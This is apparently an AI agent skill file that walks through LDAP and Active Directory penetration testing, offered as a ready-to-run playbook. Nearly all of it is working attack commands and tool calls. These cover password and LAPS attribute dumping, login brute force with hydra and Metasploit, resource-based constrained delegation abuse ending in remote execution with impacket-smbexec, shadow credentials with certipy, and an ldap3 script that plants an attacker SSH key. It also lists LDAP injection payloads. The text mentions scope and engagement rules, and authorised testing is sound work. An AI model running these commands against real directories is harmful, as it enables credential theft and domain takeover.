| name | ldap-pentest |
| description | Guides LDAP directory service penetration testing. Use when port 389 or 636 is discovered during scanning or when LDAP/Active Directory is identified. |
LDAP Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Active Directory targets: load
internal-ad-pentest.
Ports and detection
| Port | Service |
|---|
| 389/tcp | LDAP (cleartext) |
| 636/tcp | LDAPS (SSL/TLS) |
| 3268/tcp, 3269/tcp | Global Catalog (AD) |
Service fingerprint
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/gather/ldap_query",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 389, "ACTION": "RUN_SINGLE_QUERY", "QUERY_FILTER": "(objectClass=*)", "BASE_DN": "DC=<domain>,DC=<tld>"}
)
CLI fallback:
nmap -n -sV --script "ldap* and not brute" -p 389,636 <target>
ldapsearch -x -H ldap://<target> -s base -b "" namingContexts
Workflow
Task Progress:
- [ ] Anonymous/null bind testing
- [ ] Naming context and schema enumeration
- [ ] User/group/computer extraction
- [ ] bloodyAD / ldeep deep enum
- [ ] RBCD / shadow credentials checks
- [ ] Document findings
Anonymous / null bind
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/gather/ldap_query",
engagement_id="<id>",
options={
"RHOSTS": "<target>",
"RPORT": 389,
"ACTION": "RUN_SINGLE_QUERY",
"QUERY_FILTER": "(objectClass=user)",
"BASE_DN": "DC=<domain>,DC=<tld>",
"USERNAME": "",
"PASSWORD": ""
}
)
CLI fallback:
ldapsearch -x -H ldap://<target> -D '' -w '' -b "DC=<domain>,DC=<tld>" "(objectClass=*)"
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
Authenticated enumeration
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/gather/ldap_query",
engagement_id="<id>",
options={
"RHOSTS": "<target>",
"RPORT": 389,
"ACTION": "RUN_SINGLE_QUERY",
"QUERY_FILTER": "(objectClass=user)",
"BASE_DN": "DC=<domain>,DC=<tld>",
"USERNAME": "DOMAIN\\user",
"PASSWORD": "<pass>"
}
)
msf_run_auxiliary_module(
module_name="auxiliary/gather/ldap_passwords",
engagement_id="<id>",
options={"RHOSTS": "<target>", "USERNAME": "DOMAIN\\user", "PASSWORD": "<pass>", "BASE_DN": "DC=<domain>,DC=<tld>"}
)
CLI fallback:
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' -b "DC=domain,DC=local" "(objectClass=user)"
ldapdomaindump <IP> -u 'domain\user' -p 'pass' -o /tmp/ldapdump
windapsearch.py --dc-ip <target> -u user@domain.local -p pass --users --groups --computers --da
bloodyAD and ldeep
MSF: No direct module; use CLI.
CLI fallback:
bloodyAD -d <domain> -u <user> -p '<pass>' --host <DC_IP> info
bloodyAD -d <domain> -u <user> -p '<pass>' --host <DC_IP> get object 'DC=domain,DC=local' --attr *
bloodyAD -d <domain> -u <user> -p '<pass>' --host <DC_IP> get search --filter '(objectClass=computer)' --attr dn,sAMAccountName
ldeep ldap -u <user> -p '<pass>' -d <domain> -s ldap://<target> enum_users
ldeep ldap -u <user> -p '<pass>' -d <domain> -s ldap://<target> enum_computers
ldeep ldap -u <user> -p '<pass>' -d <domain> -s ldap://<target> trusts
ldeep ldap -u <user> -p '<pass>' -d <domain> -s ldap://<target> bloodhound
ldapsearch filter examples
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' \
-b "CN=Users,DC=domain,DC=local" "(objectClass=user)" sAMAccountName memberOf userAccountControl
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' \
-b "CN=Domain Admins,CN=Users,DC=domain,DC=local" "(objectClass=*)" member
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' \
-b "DC=domain,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' \
-b "DC=domain,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' \
-b "DC=domain,DC=local" "(objectClass=computer)" msDS-AllowedToActOnBehalfOfOtherIdentity
ldapsearch -x -H ldap://<target> -D 'DOMAIN\user' -w 'pass' \
-b "DC=domain,DC=local" "(|(userPassword=*)(unicodePwd=*)(ms-MCS-AdmPwd=*))" dn
LDAP login brute force
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/ldap/ldap_login",
engagement_id="<id>",
options={
"RHOSTS": "<target>",
"RPORT": 389,
"USERNAME": "administrator",
"PASSWORD": "password",
"DOMAIN": "<domain>",
"STOP_ON_SUCCESS": true,
"THREADS": 5
}
)
CLI fallback:
nmap --script ldap-brute -p 389 --script-args ldap.base='DC=domain,DC=local' <target>
hydra -L users.txt -P passwords.txt <target> ldap2 -V
RBCD (Resource-Based Constrained Delegation)
MSF: No direct module; use CLI.
CLI fallback:
bloodyAD -d <domain> -u <user> -p '<pass>' --host <DC_IP> set object '<target_computer_dn>' \
--attr msDS-AllowedToActOnBehalfOfOtherIdentity -v 'CN=<attacker_machine>,CN=Computers,DC=domain,DC=local'
impacket-getST -spn cifs/<target_fqdn> -impersonate Administrator \
-dc-ip <DC_IP> '<domain>/<attacker_machine$>:<password>'
export KRB5CCNAME=<administrator>.ccache
impacket-smbexec -k -no-pass <target_fqdn>
Shadow credentials
MSF: No direct module; use CLI.
CLI fallback:
certipy shadow auto -u <user>@<domain> -p '<pass>' -account '<target_user>' -dc-ip <DC_IP>
certipy shadow list -u <user>@<domain> -p '<pass>' -account '<target_user>' -dc-ip <DC_IP>
certipy auth -pfx <target_user>.pfx -dc-ip <DC_IP>
Writable attribute abuse
MSF: No direct module; use CLI.
CLI fallback:
from ldap3 import Server, Connection, MODIFY_REPLACE
conn = Connection(Server('<target>'), user='DOMAIN\\user', password='pass', auto_bind=True)
conn.modify('CN=TargetUser,CN=Users,DC=domain,DC=local',
{'sshPublicKey': [(MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@evil'])]})
LDAP injection (web context)
When apps pass unsanitized input into LDAP filters:
(&(uid=admin)(userPassword=*))
(|(uid=*)(uid=admin))
*)(uid=*))(|(uid=*
Post-access
- Export domain dump:
ldapdomaindump, bloodhound-python, ldeep ldap ... bloodhound
- Identify Kerberoastable SPNs, AS-REP roastable users, ACL abuse paths
- Use harvested creds for WinRM, SMB, Kerberos via
internal-ad-pentest
Related skills
internal-ad-pentest - AD enumeration, Kerberos, domain attacks
linux-pentest - SSSD/nslcd credential recovery on integrated hosts